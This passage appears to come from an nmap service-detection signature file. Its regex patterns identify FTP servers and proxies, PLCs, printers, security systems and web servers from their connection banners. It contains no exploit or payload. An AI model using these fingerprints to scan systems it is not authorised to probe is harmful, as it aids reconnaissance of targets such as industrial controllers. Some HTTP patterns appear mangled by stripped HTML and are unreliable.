cpe:/a:groupcall:xporter:$1/ match ftp m|^220 In-Sight \(R\) ([\w._-]+) Release ([\d.]+) \(\d+\) ready \(([\w._-]+)\)\.\r\n| p/Cognex In-Sight ftpd/ v/$2/ i/component: $1/ d/webcam/ h/$3/ cpe:/a:cognex:in-sight:$2/ match ftp m|^220 FTP ready at [JFMASOND][aepueco][nbrylgptvc] \d\d? \d\d:\d\d:\d\d\r\n| p/Loxone Miniserver ftpd/ d/specialized/ cpe:/h:loxone:miniserver/ match ftp m|^220 iQ-R FTP server ready\.\r\n| p/Mitsubishi iQ-R PLC ftpd/ d/specialized/ match ftp m|^220 [\d.]{7,15} (CJ\w+)-EIP\d+ FTP server \(FTP Version ([\d.]+)\) ready\.\r\n| p/Omron $1 PLC ftpd/ v/$2/ d/specialized/ cpe:/h:omron:$1/ match ftp m|^220 CMFP\(v(\w+-V\w+)- 1a\) FTP server ready\.\r\n| p/Teco Image Systems or Konica Minolta MFP ftpd/ v/$1/ d/printer/ match ftp m=^220 ([\w._-]+) FTP server \(U(?:LTRIX|ltrix) Version ([\d.]+) ([^)]+)\) ready\.\r\n= p/Ultrix ftpd/ i/build: $3/ o/Ultrix $2/ h/$1/ cpe:/o:dec:ultrix:$2/ match ftp m|^220-={61}\r\n220-Welcome\.\r\n220-\r\n220-This is a running (RSX-[\w-]+) system\.\r\n220-={61}\r\n220 Welcome\r\n| p/BQTFTP ftpd/ o/$1/ cpe:/a:bqt:bqtftp/ cpe:/o:dec:$1/ match ftp m|^220 Keil FTP service\r\n| p/Keil Network Component ftpd/ d/specialized/ cpe:/a:keil:network_component/ match ftp m|^220 QnUDVCPU FTP server ready\.\r\n| p/Mitsubishi Q-series PLC ftpd/ d/specialized/ match ftp m|^220 (FS-\d+MFP\+?) FTP server\r\n| p/Kyocera $1 printer ftpd/ d/printer/ cpe:/h:kyocera:$1/a match ftp m|^220 FTP Server \(([NWAP]{3}\d+[\w-]*)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL $1 WAP ftpd/ d/WAP/ cpe:/h:zyxel:$1/a #(insert ftp) # These look too generic, but didn't match anything else yet match ftp m|^220 FTP Server 2\.1 ready\r\n| p/Android ftpd/ v/2.1/ match ftp m|^220 FTP Server ready\.\.\.\r\n| p/Gene6 ftpd/ # not already sure about the next. maybe too generic? it exists already above a signature for openftpd. embyte match ftp m|^220 OpenFTPD server([^ ]+)?| p/OpenFTPD/ v/$1/ match ftp-proxy m|^220 Ftp service of Jana-Server ready\r\n| p/JanaServer ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 FTP Gateway at Jana Server ready\r\n| p/JanaServer ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 ([-.\w]+) FTP proxy \(Version (\d[-.\w]+)\) ready\.\r\n| p/Gauntlet FTP proxy/ v/$2/ h/$1/ # Frox FTP Proxy (frox-0.6.5) on Linux 2.2.X - http://frox.sourceforge.net/ match ftp-proxy m|^220 Frox transparent ftp proxy\. Login with username\[@host\[:port\]\]\r\n| p/Frox ftp proxy/ cpe:/a:james_hollingshead:frox/ match ftp-proxy m|^220 Frox transparent ftp proxy\. Login with username\r\n| p/Frox ftp proxy/ cpe:/a:james_hollingshead:frox/ match ftp-proxy m|^501 Proxy unable to contact ftp server\r\n| p/Frox ftp proxy/ cpe:/a:james_hollingshead:frox/ match ftp-proxy m|^220 ([-.+\w]+) FTP AnalogX Proxy (\d[-.\w]+) \(Release\) ready\r\n| p/AnalogX FTP proxy/ v/$2/ h/$1/ cpe:/a:analogx:proxy:$2/ match ftp-proxy m|^220 Secure Gateway FTP server| p/Symantec Enterprise Firewall FTP proxy/ d/firewall/ cpe:/a:symantec:enterprise_firewall/ match ftp-proxy m|^220-Sidewinder ftp proxy\. You must login to the proxy first| p/Sidewinder FTP proxy/ match ftp-proxy m|^220-\r\x0a220-Sidewinder ftp proxy|s p/Sidewinder FTP proxy/ match ftp-proxy m|^220 webshield2 FTP proxy ready\.\r\n| p/Webshield2 FTP proxy/ o/Windows/ cpe:/a:bluecoat:winproxy/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 WinProxy FTP Gateway ready, enter username@host\[:port\]\r\n| p/WinProxy FTP proxy/ o/Windows/ cpe:/a:bluecoat:winproxy/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 WinProxy \(Version ([^)]+)\) ready\.\r\n| p/WinProxy FTP proxy/ v/$1/ o/Windows/ cpe:/a:bluecoat:winproxy/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 Proxy602 Gateway ready, enter user@host\[:port\]\r\n| p/Proxy602 ftp proxy/ d/firewall/ match ftp-proxy m|^220 Java FTP Proxy Server \(usage: USERID=user@site\) ready\.\r\n| p/Java FTP Proxy/ match ftp-proxy m|^220 ([-\w_.]+) FTP proxy \(Version V([\d.]+)\) ready\.\r\n| p/Generic FTP proxy/ v/$2/ h/$1/ match ftp-proxy m|^220 CoolProxy FTP server & firewall\r\n| p/CoolProxy ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 Finjan SurfinGate Proxy - Server Ready\.\r\n| p/Finjan SurfinGate ftp proxy/ match ftp-proxy m|^220 ([-\w_.]+) \(NetCache\) .*\r\n| p/NetApp NetCache ftp proxy/ h/$1/ cpe:/a:netapp:netcache/ match ftp-proxy m|^220 Welcome to ([-\w_.]+) Ftp Proxy Service\.\r\n| p/Proxy Suite ftp proxy/ h/$1/ match ftp-proxy m|^220 Hi! Welcome \w+ UserGate| p/UserGate ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 Webwasher FTP Proxy ([\d.]+) build (\d+)\r\n| p/Webwasher ftp proxy/ v/$1 build $2/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220- ([-\w_.]+) PROXY-FTP server \(DeleGate/([\d.]+)\) ready\.\r\n| p/DeleGate ftp proxy/ v/$2/ h/$1/ match ftp-proxy m|^500 WinGate Engine Access Denied\r\n| p/WinGate ftp proxy/ i/access denied/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 IWSS FTP proxy ready\r\n| p/Trend Micro InterScan Web Security Suite ftp proxy/ cpe:/a:trendmicro:interscan_web_security_suite/ match ftp-proxy m|^220 ezProxy FTP Proxy Server Ready \r\n| p/ezProxy ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 FTP proxy \(v([\d.]+)\) ready\r\n530 Login incorrect\. Expected USER command\r\n| p/jftpgw ftp proxy/ v/$1/ match ftp-proxy m|^220-Welcome to SpoonProxy V([\w._-]+) by Pi-Soft Consulting, LLC\r\n| p/Pi-Soft SpoonProxy ftp proxy/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220-CCProxy FTP Service\(Unregistered\)\r\n| p/CCProxy ftp proxy/ i/unregistered/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220-CCProxy FTP Service\r\n220-you need to input userid@site as login name\.\r\n220 Example: user anonymous@ftp\.netscape\.com\r\n| p/CCProxy ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 kingate\(([\w._-]+)-win32\) ftp proxy ready\r\n| p/kingate ftp proxy/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp-proxy m|^220 FileCatalyst Server Enterprise v([^\r\n]*)\r\n$| p/FileCatalyst ftp proxy/ v/$1/ match ftp-proxy m|^220 ([\w._-]+), KEN! DSL FTP-Gateway\r\n| p/AVM KEN! ftp proxy/ h/$1/ match ftp-proxy m|^220 ([\w._-]+), KEN! FTP-Gateway\r\n| p/AVM KEN! ftp proxy/ h/$1/ match ftp-proxy m|^220 server ready - login please\r\n| p/Squid ftp proxy/ cpe:/a:squid-cache:squid/ match ftp-proxy m|^421 Proxy is closed \(unknown user location\)\r\n$| p/Zscaler ftp proxy/ match ftp-proxy m|^220 Cleo VLProxy/([\w._-]+) FTP server ready\.\r\n$| p/Cleo VLProxy ftp proxy/ v/$1/ match ftp-proxy m|^220 McAfee Web Gateway ([\d.]+ (?:- )?build:? \d+)\r\n| p/McAfee Web Gateway ftp proxy/ v/$1/ cpe:/a:mcafee:web_gateway:$1/ match ftp-proxy m|^220-Firewall ftp proxy\. You must login to the proxy first\.\r\n220 Use proxy-user:auth-method@destination\.\r\n| p/Secure Computing Sidewinder firewall ftp proxy/ d/firewall/ cpe:/h:securecomputing:sidewinder/ match ftp-proxy m|^220 Zscaler/([\d.]+): USER expected \(Unix syntax\)\r\n| p/Zscaler ftp proxy/ v/$1/ # DAZ Studio 4.5, port 27997 match valentinadb m|^dddd\0\0\0\0\0\0\0\x0b| p/Valentina DB/ match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish HTTP accelerator CLI.\n-----------------------------\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n| p/Varnish Cache CLI/ v/2.1.0 - 2.1.3/ i/open/ cpe:/a:varnish-cache:varnish:2.1/ # vident field is uname -s,uname -r,uname -m match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish HTTP accelerator CLI.\n-----------------------------\n([^,]+),([^,]+),[^\n]*\n\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n| p/Varnish Cache CLI/ v/2.1.4/ o/$1 $2/ cpe:/a:varnish-cache:varnish:2.1.4/ match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish Cache CLI 1.0\n-----------------------------\n([^,]+),([^,]+),[^\n]*\n\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n\n| p/Varnish Cache CLI/ v/2.1.5 - 3.0.3/ o/$1 $2/ cpe:/a:varnish-cache:varnish/ match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish Cache CLI 1.0\n-----------------------------\n([^,]+),([^,]+),[^\n]*\nvarnish-([\w._-]+) revision [0-9a-f]+\n\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n\n| p/Varnish Cache CLI/ v/$3/ o/$1 $2/ cpe:/a:varnish-cache:varnish:$3/ match varnish-cli m|^107 59 \n[a-z]{32}\n\nAuthentication required\.\n\n| p/Varnish Cache CLI/ i/authentication required/ cpe:/a:varnish-cache:varnish/ # TODO kerio? #match ftp m|^421 Service not available \(The FTP server is not responding\.\)\n$| v/unknown FTP server//service not responding/ match vdr m|^220 (\S+) SVDRP VideoDiskRecorder (\d[^\;]+);| p/VDR/ v/$2/ d/media device/ h/$1/ match vdr m|^Access denied!\n$| p/VDR/ d/media device/ softmatch ftp m|^220 Welcome to ([-.\w]+) FTP.*\r\n$|i h/$1/ softmatch ftp m|^220 ([-.\w]+) [-.\w ]+ftp.*\r\n$|i h/$1/ softmatch ftp m|^220-([-.\w]+) [-.\w ]+ftp.*\r\n220|i h/$1/ softmatch ftp m|^220 [-.\w ]+ftp.*\r\n$|i softmatch ftp m|^220-[-.\w ]+ftp.*\r\n220|i softmatch ftp m|^220[- ].*ftp server.*\r\n|i softmatch ftp m|^220-\r?\n220 - ftp|i match freeswitch-event m|^Content-Type: auth/request\n\n| p/FreeSWITCH mod_event_socket/ cpe:/a:freeswitch:freeswitch/ match fsae m|^\0\0\0\\\x80\x06\0\0\0\n\x01\x03\0...\0\0\0\n\x10\x03\0\0\0.\0\0\0\x15\x11\x05FSAE server ([\w._-]+)\0\0\0\x16\x12\x01................\0\0\0\x17\x13\x01FSAE_SERVER_\d+$|s p/Fortinet Server Authentication Extension/ v/$1/ match fw1-rlogin m|^\0Check Point FireWall-1 authenticated RLogin server running on ([-.\w]+)\r\n\r| p/Check Point FireWall-1 authenticated RLogin server/ i/$1/ cpe:/a:checkpoint:firewall-1/ match fyre m|^220 Fyre rendering server ready\n| p/Fyre rendering cluster node/ match g15daemon m|^G15 daemon HELLO$| p/g15daemon/ i/Logitech G15 keyboard control/ match galaxy m|^\0\0\0\t\0\0\0\x80\0\0\0\0\0\0\0\0\0\0\x042\0\0\0\x01\0\0\t_\0\0\0h| p/Galaxy Client Event Manager/ o/Windows/ cpe:/o:microsoft:windows/a match gamebots m|^HELLO_BOT\r\n| p/GameBots for Unreal Tournament 2004/ match gamebots-control m|^HELLO_CONTROL_SERVER\r\n| p/GameBots for Unreal Tournament 2004 control server/ match g-data-sec m|^\x94\x00\x00\x00\x06\x02\x00\x00\x00\xa4\x00\x00RSA1\x00\x04\x00\x00\x01\x00\x01\x00.{128}|s p/G Data Security client/ # http://www.galaxysys.com/data/docs/SG%20Software%20User%20Guide%20%2810.4%29.pdf match gcs-clientgw m|^\x04\0\0\0....$| p/Galaxy Control Systems Client GW/ d/security-misc/ match geovision-mobile m|^D3\x22\x11\0\0\0\0\xc6\x11\0\0\xae\x15\0\0$| p/Geovision mobile device support/ match gnats m|^200 ([-.\w]+) GNATS server (\d[-.\w]+) ready\.\r\n| p/GNATS bugtracking system/ v/$2/ h/$1/ cpe:/a:gnu:gnats:$2/ match ganglia m|^<\?xml version=\"1\.0\".*.*\n \n|s p/Ganglia XML Grid monitor/ # Port 5400. Looks like UTF-16-LE-encoded pseudo-XML with embedded base64: # m|^\xde\xad\xad\xdeZ\x03\0\0\x7e\x9bxeVersion\x7c1024\x7cuGSY...AQAB\x7c$| match genetec-5400 m|^\xde\xad\xad\xdeZ\x03\0\0\x7e\x9bxeV\0e\0r\0s\0i\0o\0n\0\x7c\x001\x000\x002\x004\0\x7c\0<\0R\0S\0A\0K\0e\0y\0V\0a\0l\0u\0e\0>\0<\0M\0o\0d\0u\0l\0u\0s\0>\0(?:[\w/+=]\0)+<\0/\0M\0o\0d\0u\0l\0u\0s\0>\0<\0E\0x\0p\0o\0n\0e\0n\0t\0>\0(?:[\w/+=]\0)+<\0/\0E\0x\0p\0o\0n\0e\0n\0t\0>\0<\0/\0R\0S\0A\0K\0e\0y\0V\0a\0l\0u\0e\0>\0\x7c\0$| p/Genetec Security Center/ match genetec-5500 m|^\xde\xad\xad\xde\0\x01\0\0\xd6\xa0L\xc2\x0b\0\r\xcf\x88\"\xf2\xb7\xc9D\x81\x08\xe3\"\x16\x9a\x86\xb9\r\xcf\x88\"\xf2\xb7\xc9D\x81\x08\xe3\"\x16\x9a\x86\xb9\x04\0\0\0\0\0\0\0\0\x01\0\0\r\xcf\x88\"\xf2\xb7\xc9D\x81\x08\xe3\"\x16\x9a\x86\xb9\0\x04\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$| p/Genetec Security Center/ match git-daemon m|^Unknown option: --inetd\nusage: git \[--version\] \[--exec-path\[=GIT_EXEC_PATH\]\] \[--html-path\] \[-p\x7c--paginate\x7c--no-pager\] \[--bare\] \[--git-dir=GIT_DIR\] \[--work-tree=GIT_WORK_TREE\] \[--help\] COMMAND \[ARGS\]\n| p/git-daemon/ i/misconfigured/ cpe:/a:git:git/ softmatch teamtalk m%^(?:teamtalk|welcome) userid=\d+ servername=% p/BearWare TeamTalk/ cpe:/a:bearware:teamtalk/ match telematics m|^\0\0| p/Mercedes telematics/ v/$1/ i/model: $2; telematics: $3/ match telnet m|^\xff\xfe\x01Domain 2 \(STUDENT03\)\r\n\r\n\r\n\r\n\r\n======================\r\n Main menu\r\n======================\r\n\?\) Help\r\nx\) Exit\r\n$| p/Genetec Security Center/ match telnet m|^\xff\xfe\x01Genetec Synergis Access Manager \(STUDENT03\)\r\n\r\n\r\n\r\n\r\n======================\r\n Main menu \r\n======================\r\n1\) Status\r\n\?\) Help\r\nx\) Exit\r\n| p/Genetec Synergis Access Manager/ match telnet m|^\xff\xfe\x01Genetec Directory \(STUDENT03\)\r\n\r\n\r\n\r\n\r\n======================\r\n Main menu\r\n======================\r\n1\) Status\r\n\?\) Help\r\nx\) Exit\r\n| p/Genetec Directory/ match telnet m|^\xff\xfe\x01Genetec Integration Service \(STUDENT03\)\r\n\r\n\r\n\r\n========================================================================\r\n Integration Service Main Menu\r\n========================================================================\r\n\r\n 1\) CONFIG\r\n Displays the configuration settings for the service\r\n\r\n 2\) STATUS\r\n Displays the status of the external systems being run by this\r\n service\.\r\n\r\n \?\) Help\r\n\r\n x\) Exit\r\n========================================================================\r\n| p/Genetec Integration Service/ match goldsync m|^%%QU%%QU%%QU$| p/GoldMine GoldSync synchronization/ # http://gmc.yoyogames.com/index.php?showtopic=657080 match gms m|^GM:Studio-Connect\0$| p/GMS gaming protocol/ # Probably not general enough... match gnatbox m|^GBPK\xfb\xf7n\x93W\xaf\x86\x93x@\xa9\x0e\xca\*\x9bS\0| p/Global Technology Associates Gnat Box firewall administration/ d/firewall/ match gnupg m|^OK GNU Privacy Guard's OpenPGP server ([\w._-]+) ready\n| p/GnuPG server mode/ v/$1/ cpe:/a:gnupg:gnupg:$1/ softmatch gkrellm m|^\nClient limit exceeded\.\n| p/GKrellM System Monitor/ softmatch gkrellm m|^\nConnection not allowed from .*\n| p/GKrellM System Monitor/ match gopher m|^3Connection to [\d.]+ is denied -- no authorization\.\r\n$| match g6-remote m|^200 1400\r\n$| p/G6 ftpd remote admin/ o/Windows/ cpe:/o:microsoft:windows/a match giop m|^GIOP\x01...\0\0\0\0|s p/CORBA naming service/ match guildwars2-heartbeat m|^\x17\0\0\0\0\t\0\0\0Heartbeat \0\0\0\x046\0\0\0\0\n\0\0\0Compressed \0\0\0\x04\x1a| p/Guild Wars 2 game heartbeat/ # CompTek AquaGateKeeper (Telephony package) http://aqua.comptek.ru match H.323-gatekeeper m|^\x03\0\0.*@|s p/CompTek AquaGateKeeper/ # OpenH323 Gatekeeper 2.0.3 match H.323-gatekeeper m|^\xff\xfd\x03\xff\xfb\x05.*Version:\r\nGatekeeper\(GNU\) Version\(([\d.]+)\) Ext\(.*\) Build\(.*\) Sys\(Linux .*\)\r\n| p/OpenH323 Gatekeeper/ v/$1/ o/Linux/ cpe:/o:linux:linux_kernel/a # Causes false matches with telnet. # match H.323-gatekeeper m|^\xff\xfd.$| p|GNU Gatekeeper| match H.323-gatekeeper m|^\xff\xfd\x03\xff\xfb\x05\xff\xfe\x01\r\nAccess forbidden!\r\n$| p/GNU Gatekeeper/ cpe:/a:gnugk:gnu_gatekeeper/ match H.323-gatekeeper m|^\x03\0\0\.\x08\x02\0\0Z~\0\"\x05%\xc0\x06\0\x08\x91J\0\x02X\x08\x11\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x02\x80\x01\0$| p/GNU Gatekeeper/ cpe:/a:gnugk:gnu_gatekeeper/ match hama-radio m|^\(Thread\d+\): \[ *\d+\.\d+\] [A-Z]+ *\(\d+\): .*\r\n| p/HAMA Wifi-Radio status/ d/media device/ match hama-radio2 m|^w\d{5}.{255}h@|s p/HAMA radio service/ d/media device/ # Returns ASCII data in the following format: # |HardDrive1DevName|HardDrive1HardwareID|HardDrive1Temp|TempUnit| # |HardDrive2DevName|HardDrive2HardwareID|HardDrive2Temp|TempUnit| match hddtemp m=^\|/dev/[hs]\w\w\|= p/hddtemp hard drive info server/ match hddtemp m=^\|$= p/hddtemp hard drive info server/ match helpdesklog m|^Helpdesk Advanced ([\d.]+) License Logging Service| p/Helpdesk Advanced license server/ v/$1/ match honeywell-ripsd m|^\0\x10\x03\x0c$| p/Honeywell ripsd power management server/ match hptsvr m|^\(\0\0\0hpt_stor\x01..\xbf\0\0\0\0\0\0\0\0....\.\.\.E\0\0\0\0\0\0\0\0$|s p/HighPoint RAID management service/ v/3.13/ match hptsvr m|^\(\0\0\0\0\0\0\0..`\0\x01\xff\xff\xff\xcc\xfa\x85\0C\x1d\xe6whfnk\.\.\.E\0\0\0\0\0\0\0\0$| p/HighPoint RAID management service/ # version unknown softmatch hptsvr m|^\(\0\0\0hpt_stor\x01..\0\0\0\0\0\0\0\0\0....\.\.\.E\0\0\0\0\0\0\0\0$|s p/HighPoint RAID management service/ match hpiod m|^msg=MessageError\nresult-code=5\n$| p/HP Linux Imaging and Printing System/ o/Linux/ cpe:/a:hp:linux_imaging_and_printing_project/ cpe:/o:linux:linux_kernel/a # And now for some SORRY web servers that just blurt out an http "response" upon connection!!! match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nExpires: .*\r\nDate: .*\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\nJAP\n| p/Java Anonymous Proxy/ match http m|^HTTP/1.0 500\r\nContent-type: text/plain\r\n\r\nNo Scan Capable Devices Found\r\n| p/HP Embedded Web Server remote scan service/ i/no scanner found/ d/printer/ # SMC Barricade 7004ABR match http m|^HTTP/1\.0 301 Moved\r\nLocation: http://\d+\.\d+\.\d+\.\d+:88\r\n| p/SMC Barricade broadband router/ i/simply redirects to real web admin port 88/ d/broadband router/ match http m|^HTTP/1\.0 \d\d\d .*\r\nServer: SonicWALL\r\n| p/SonicWALL firewall http config/ d/firewall/ match http m|^HTTP/1\.0 500 Internal Server Error\r\nDate: .*\r\nContent-type: text/html\r\nExpires: .*\r\n\r\n

500 Internal Server Error

\r\n\r\n\r\n| p/Cisco Catalyst http config/ d/switch/ o/IOS/ cpe:/o:cisco:ios/a match http m|^HTTP/1\.1 200 OK\nMax-Age: 0\nExpires: 0\nCache-Control: no-cache\nCache-Control: private\nPragma: no-cache\nContent-type: multipart/x-mixed-replace;boundary=BoundaryString\n\n--BoundaryString\n| p/Motion Webcam gateway httpd/ match http m|^HTTP/1\.[01] 200 OK\r\nServer: Motion/([\d.]+)\r\n| p/Motion Camera httpd/ v/$1/ d/webcam/ match http m|^HTTP/1\.1 200 OK\r\nServer: Motion-httpd/([\d.]+)\r\n| p/Motion-httpd/ v/$1/ d/webcam/ match http m|^HTTP/1\.1 \d\d\d .*\nServer: Motion/([\d.]+)\n.*\nContent-type: image/jpeg\n|s p/Motion webcam httpd/ v/$1/ match http m|^HTTP/1\.1 \d\d\d .*\r\nContent-Type: text/plain\r\nServer: WPA/([-\w_.]+)\r\n\r\n| p/Glucose WeatherPop Advanced httpd/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match http m|^HTTP/1\.0 503 R\r\nContent-Type: text/html\r\n\r\nBusy$| p/D-Link router http config/ d/router/ match http m|^501 Not Implemented\n

501 Not Implemented

\nThe server has not implemented your request type\.
\n\r\n$| p/Hummingbird Document Manager httpd/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\n\n
  • \n[^<]+\n
    • \nNice\n
      • \nNumber: \d+
      \nProgramArguments\n
        \n
      1. String: [^<]+
      2. \n| p/Apple launchd_debug httpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\n\n
        • \ncom\.apple\.KernelEventAgent\n| p/Apple launchd_debugd httpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match http m|^HTTP/1\.0 400 Bad Request\r\nServer: Speed Touch WebServer/([\d.]+)\r\n| p|Alcatel/Thomson SpeedTouch ADSL http config| v/$1/ d/broadband router/ match http m|^HTTP/1\.1 408 Request Time-Out\r\nConnection: Close\r\n\r\n$| p/Konica Minolta bizhub printer http config/ d/printer/ match http m|^HTTP/1\.1 400 Bad Request\r\n(?:[^\r\n]+\r\n)*?\r\n

          Bad Request \(Invalid Verb\)

          |s p/Microsoft IIS httpd/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a match http m|^
          Authentication failed
          \r\n$| p/InterSect Alliance SNARE http config/ cpe:/a:intersectalliance:system_intrusion_analysis_and_reporting_environment/ match http m|^HTTP/1\.1 408 Request Timeout\nContent-Length:0\nContent-Type:text/html;charset=UTF-8\n\n$| p/Finchsync PocketPC Synchonizer httpd/ match http m|^HTTP/1\.1 200 OK\nServer: NetSupport Gateway/([\d.]+) \(Windows NT\)\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 14\nConnection: Keep-Alive\n\nCMD=HEARTBEAT\n$| p/NetSupport Gateway httpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nExpires: Thu, 26 Oct 1995 00:00:00 GMT\r\nTransfer-Encoding: chunked\r\nServer: Allegro-Software-RomPager/([\d.]+)\r\n\r\n| p/Allegro RomPager/ v/$1/ i/Dell DRAC config/ d/remote management/ cpe:/a:allegro:rompager:$1/ match http m|^HTTP/1\.1 \d\d\d .*\r\nServer: micro_httpd\r\n| p/micro_httpd/ cpe:/a:acme:micro_httpd/a cpe:/o:acme:micro_httpd/ # http://code.google.com/p/free-android-apps/wiki/Project_LocalHTTPD match http m|^HTTP/1\.0 500 Internal Server Error \r\nContent-Type: text/plain\r\nDate: .*\r\n\r\nSERVER INTERNAL ERROR: Invalid ip\.$| p/Local HTTPD/ i/based on NanoHTTPD/ d/phone/ match http m|^HTTP/1\.0 400 Bad Request\r\nServer: httpd-impacct/([^\r\n]+)\r\nContent-type: text/html\r\n\r\n400 Bad Request\n

          400 Bad Request

          \nYour request has bad syntax or is inherently impossible to satisfy\.\n
          \n\n$| p/thttpd/ v/$1/ i/Asotel Vector 1908 switch http config/ d/switch/ cpe:/a:acme:thttpd:$1/ match http m|^HTTP/1\.1 200 OK\r\nServer: DVBViewer \(Windows\)\r\nContent-Type: video/mpeg2\r\n\r\n\r\n| p/DVBViewer digital TV viewer httpd/ o/Windows/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 400 Bad Request\r\nserver: kolibri-([\w._-]+)\r\ncontent-type: text/plain\r\ncontent-length: 11\r\n\r\nBad Request$| p/Kolibri httpd/ v/$1/ cpe:/a:senkas:kolibri:$1/ match http m|^HTTP/1\.1 405 Method Not Allowed\r\nServer: remote-potato-v([\w._-]+)\r\n| p/Remote Potato media player/ v/$1/ # The date reveals the time zone instead of using GMT. match http m|^HTTP/1\.1 405 Method Not Allowed\r\nDate: ([^\r]+)\r\nServer: Embedthis-Appweb/([\w._-]+)\r\n| p/Embedthis-Appweb/ v/$2/ i/date: $1/ cpe:/a:mbedthis:appweb:$2/ match http m|^HTTP/1\.0 503 Service Unavailable\r\nDate: .* GMT\r\nServer: Embedthis-Appweb/([\w._-]+)\r\n| p/Embedthis-Appweb/ v/$1/ i/Sharp Open System Architecture/ d/printer/ cpe:/a:mbedthis:appweb:$1/ match http m|^HTTP/1\.1 400 Bad Request\r\nServer: Microsoft-Cassini/([\w._-]+)\r\n| p/Microsoft Cassini httpd/ v/$1/ o/Windows/ cpe:/a:microsoft:cassini:$1/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 408 Request Timeout\r\nServer: WebSphere Application Server/([\w._-]+)\r\nContent-Type: text/html\r\nContent-Length: 117\r\n| p/IBM WebSphere Application Server/ v/$1/ cpe:/a:ibm:websphere_application_server:$1/ match http m|^HTTP/1\.0 200 Ok Welcome to VOC\r\nServer: Voodoo chat daemon ver ([\w._ -]+)\r\nContent-type: text/html\r\nExpires: Mon, 08 Apr 1976 19:30:00 GMT\+3\r\nConnection: close\r\nKeep-Alive: max=0\r\nCache-Control: no-store, no-cache, must-revalidate\r\nCache-Control: post-check=0, pre-check=0\r\nPragma: no-cache\r\n\r\n$| p/Voodoo http chat daemon/ v/$1/ match http m|^HTTP/1\.1 400 Bad Request\r\nServer: Cassini/([\w._-]+)\r\n.*\n\n
          \n

          Invalid Access

          \n
          \n

          \n\n\n\n| p/Cisco ATA186 VoIP adapter http config/ d/VoIP adapter/ cpe:/h:cisco:ata186/a match http m|^HTTP/1\.0 200 OK\r\nServer: http server ([\w._-]+)\r\nContent-type: text/html; charset=\(null\)\r\n.*\n$|s p/QNAP TS-109 NAS http config/ v/$1/ d/storage-misc/ cpe:/h:qnap:ts-109/ match http m|^HTTP/1\.0 200 OK\r\nServer: http server ([\w._-]+)\r\n.*NAS\n\n|s p/QNAP Turbo or TS-459 Pro+ NAS http config/ v/$1/ d/storage-misc/ match http m|^HTTP/1\.0 404 no application for: /\r\nServer: HttpServer\r\n\r\n$| p/Galleon TiVo Application Port http config/ d/media device/ match http m|^HTTP/1\.0 404 File not found\r\nServer: HttpServer\r\n\r\n$| p/Galleon TiVo Publishing Port http config/ d/media device/ match http m|^HTTP/1\.1 302 Redirect\r\nServer: GoAhead-Webs\r\nDate: .*\r\nConnection: close\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nLocation: http://\(null\)/config/log_off_page\.htm\r\n\r\n| p/GoAhead WebServer/ i/Dell PowerConnect Gigabit switch http config/ d/switch/ cpe:/a:goahead:goahead_webserver/a match http m|^HTTP/1\.0 301 Moved Permanently\r\nContent-Length: 0\r\nConnection: close\r\nLocation: /main/main\.html\r\nServer: debut/([\w._-]+)\r\n\r\n| p/debut httpd/ v/$1/ i/Brother MFC-8860DN printer http config/ d/printer/ cpe:/h:brother:mfc-8860dn/a match http m|^HTTP/1\.1 302 Moved Temporarily\r\nDate: .*\r\nServer: Avocent DSView ([\w._/-]+)\r\nLocation: https://([\w._-]+)/dsview/\r\nConnection: close\r\n\r\n| p/Avocent DSView remote management httpd/ v/$1/ h/$2/ match http m|^HTTP/1\.0 \d\d\d 